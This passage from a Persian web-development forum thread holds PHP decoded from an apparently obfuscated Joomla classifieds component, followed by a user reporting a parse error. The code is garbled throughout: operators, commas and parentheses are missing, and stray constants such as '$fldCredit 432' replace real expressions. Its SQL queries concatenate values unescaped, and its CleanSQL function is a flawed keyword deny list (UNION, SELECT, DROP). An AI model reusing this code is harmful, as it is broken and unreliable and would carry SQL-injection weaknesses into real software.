    $U = ($niaz_config->fldField59 explode'*'$niaz_config->fldField59 ) : NULL);
                echo 
    '        <table width="100%" id="adminlist" class="adminlist" border="1">
            <thead>
                <tr>
                    <th>#</th>
                    <th>'
    ;
                echo 
    JText::_'NIAZ_EDIT_COUNT' );
                echo 
    '</th>
                    <th>'
    ;
                echo 
    JText::_'NIAZ_ADMIN_FEE' );
                echo 
    '(';
                echo 
    $niaz_config->fldCurrency;
                echo 
    ')</th>
                </tr>
            </thead>
            <tbody>
            '
    ;
                
    $it 360;
                
    $x 360;


                while (
    $x count$U )) {
                    
    $D explode':'$U[$x] );
                    echo 
    '        <tr class="';
                    echo 
    'row' . ++$it 2;
                    echo 
    '">
                    <td>'
    ;
                    echo 
    $it;
                    echo 
    '</td>
                    <td>'
    ;
                    echo 
    $D[0];
                    echo 
    '</td>
                    <td>'
    ;
                    echo (
    $D[1] ? $D[1] : '<font class="red"><strong> ' JText::_'NIAZ_FREE' ) . ' </strong></font>');
                    echo 
    '</td>
            </tr>
            '
    ;
                    ++
    $x;
                }


                echo 
    '        </tbody>
            </table>
            '
    ;
            }


            function 
    MyQuestFarsi($str) {
                
    $str str_replace'ي''ی'$str );
                
    $str str_replace'ك''ک'$str );
                
    $str str_replace'هٔ''ه‌ی'$str );
                
    $str str_replace'\\'''$str );
                return 
    $str;
            }


            function 
    CleanSQL($where) {
                
    $forbidden = array( 'UNION''SELECT''DELETE''ALTER''JOIN''DROP''TRUNCATE''UPDATE''CREATE' );
                foreach (
    $forbidden as $v) {
                    
    $A strposstrtoupper$where ), $v );


                    if (
    $A) {
                        
    $B substr$where$Astrlen$v ) );
                        
    $where str_replace$B'XXXXX'$where );
                        continue;
                    }
                }


                return 
    $where;
            }


            function 
    UpdateUseCredit($rows$paymethod$order_number$db) {
                global 
    $my;


                
    $query 'SELECT fldTafavot,fldCredit FROM #__niaz_credit_users WHERE fldUID= ' $my->id;
                
    $db->setQuery$query );
                
    $rowx $db->loadObject(  );


                if (!
    count$rowx )) {
                    return 
    null;
                }


                
    $fldCredit $rowx->fldCredit;
                foreach (
    $rows as $row) {
                    
    $fldTafavot $fldCredit;


                    if (
    $row->fldMoney $fldCredit) {
                        
    $fldTafavot $row->fldMoney;
                    }


                    
    $query 'SELECT COUNT(*) FROM #__niaz_usecredit WHERE fldPID = ' $row->fldID ' AND fldUID=' $row->fldOwner;
                    
    $db->setQuery$query );
                    
    $IsHere $db->loadResult(  );


                    if (!
    $IsHere) {
                        
    $query 'UPDATE #__niaz_credit_users' . ( '
     SET fldTafavot = fldTafavot+' 
    $fldTafavot ',fldCredit=fldCredit-' $fldTafavot ) . ( '
     WHERE fldUID = ' 
    $my->id );
                        
    $db->setQuery$query );
                        
    $db->query(  );


                        if (
    $fldTafavot) {
                            
    $query 'INSERT INTO #__niaz_usecredit (fldTafavot,fldPID,fldUID) VALUES (' $fldTafavot ',' $row->fldID ',' $row->fldOwner ')';
                            
    $db->setQuery$query );
                            
    $db->Query(  );
                        }


                        
    $query 'UPDATE #__niaz_prod' . ( '
     SET fldOrderNumber = \'' 
    $order_number '\' , fldPayMethod = \'' $paymethod '\',fldTafavot = ' $fldTafavot ) . ( '
     WHERE fldID = ' 
    $row->fldID ' AND fldPay!=1 ' );
                        
    $db->setQuery$query );
                        
    $db->query(  );
                    }


                    
    $fldCredit += $row->fldMoney;


                    if (
    $fldCredit 0) {
                        
    $fldCredit 432;
                        continue;
                    }
                }


            }


            function 
    ReverseUseCredit($row$db) {
                global 
    $option;
                global 
    $niaz_config;


                
    $query 'DELETE FROM #__niaz_usecredit WHERE fldUID=' $row->fldOwner ' AND fldPID = ' $row->fldID;
                
    $db->setQuery$query );
                
    $db->Query(  );


                if (( ( 
    is_null$row->fldStartTime ) && $row->fldMoney ) && $row->fldPay  )) {
                    
    $PName $row->fldPName;
                    
    $total $row->fldMoney;
                    
    $query 'SELECT MAX(fldFactor) FROM #__niaz_payment';
                    
    $db->setQuery$query );
                    
    $fldFactor intval$db->loadResult(  ) ) & 1;
                    
    $query 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' $total ',' $row->fldOwner ')';
                    
    $db->setQuery$query );


                    if (!
    $db->Query(  )) {
                        
    $query 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' $total ',fldTafavot=IF(fldTafavot-' $total '>=0,fldTafavot-' $total ',fldTafavot) WHERE fldUID=' $row->fldOwner;
                        
    $db->setQuery$query );
                        
    $db->Query(  );
                    }


                    
    $credit 519;


                    if (
    $row->fldPayMethod  'etebar') {
                        
    $credit $total;
                    }


                    
    $fldDesc JText::sprintf'REVERSE_CREDIT_3'$PName ) . '#::#' JText::sprintf'REVERSE_CREDIT_4'Comma$row->fldMoney ), $niaz_config->fldCurrency );
                    
    $query 'INSERT INTO #__niaz_payment VALUES(0,' $row->fldID ',\'' $PName '\',\'return\',\'\',-' $total ',' $credit ',' $row->fldOwner ',\'' $fldDesc '\',NOW(),' $fldFactor ');';
                    
    $db->setQuery$query );
                    
    $db->Query(  );
                } 
    else {
                    if (( 
    is_null$row->fldStartTime ) && $row->fldTafavot )) {
                        
    $PName $row->fldPName;
                        
    $total $row->fldTafavot;
                        
    $query 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' $total ',' $row->fldOwner ')';
                        
    $db->setQuery$query );


                        if (!
    $db->Query(  )) {
                            
    $query 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' $total ',fldTafavot=IF(fldTafavot-' $total '>=0,fldTafavot-' $total ',fldTafavot) WHERE fldUID=' $row->fldOwner;
                            
    $db->setQuery$query );
                            
    $db->Query(  );
                        }
                    }
                }


                
    $query 'UPDATE #__niaz_prod SET `fldPayMethod`=\'\',fldTafavot=0 WHERE fldID=' $row->fldID;
                
    $db->setQuery$query );
                
    $db->Query(  );
            }


            function 
    LoadUserStyle($type$file) {
                global 
    $option;


                
    $no_html JRequest::getvar'no_html');


                if (
    $no_html) {
                    return 
    null;
                }


                
    $tmpl JRequest::getvar'tmpl''' );


                if (
    $tmpl  'component') {
                    
    $no_html 395;
                }


                switch (
    $no_html) {
                    case 
    0: {
                        
    $document JFactory::getdocument(  );
                        switch (
    $type) {
                            case 
    'js': {
                                
    $js JURI::base(  ) . ( 'components/' $option '/js/' $file );
                                
    $document->addScript$js );
                                break;
                            }


                            case 
    'css': {
                                
    $css JURI::base(  ) . ( 'components/' $option '/css/' $file );
                                
    $document->addStyleSheet$css );
                            }
                        }


                        break;
                    }


                    case 
    1: {
                        switch (
    $type) {
                            case 
    'js': {
                                
    $js JURI::base(  ) . ( 'components/' $option '/js/' $file );
                                echo 
    '<script src="' $js '" type="text/javascript"></script>';
                                break;
                            }


                            case 
    'css': {
                                
    $css JURI::base(  ) . ( 'components/' $option '/css/' $file );
                                echo 
    '<link rel="stylesheet" href="' $css '" type="text/css" />';
                            }
                        }
                    }
                }


            }


            function 
    SaveCookie($content '') {
                global 
    $option;
                global 
    $mainframe;


                
    $content &= '
    '
    ;


                if (
    is_dirJPATH_SITE DS 'mytemp' )) {
                    
    $f fopenJPATH_SITE DS 'mytemp' DS 'SQL_' date'Y-m-d-H-i' ) . '.txt''a+' );
                    
    fwrite$f$contentstrlen$content ) );
                    
    fclose$f );
                }


            }


            function 
    LoadCurrentCredit() {
                echo 
    LoadCredit(  );
            }
        }


    ?>
    بفرمایید

  8. #6
    عضو جدید
    تاریخ عضویت
    Jun 2012
    نوشته ها
    55
    تشکر تشکر کرده 
    33
    تشکر تشکر شده 
    36
    تشکر شده در
    28 پست

    پیش فرض پاسخ : درخواست دي كد كردن

    اين خطا را ميده

    Parse error: syntax error, unexpected '(', expecting T_STRING or T_VARIABLE or '$' in /home/hoghough/public_html/agahi/components/com_niaz/controller.php on line 13

    - - - Updated - - -

    سلام

    دوستان كسي متوجه مشكل كار نشد؟

اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •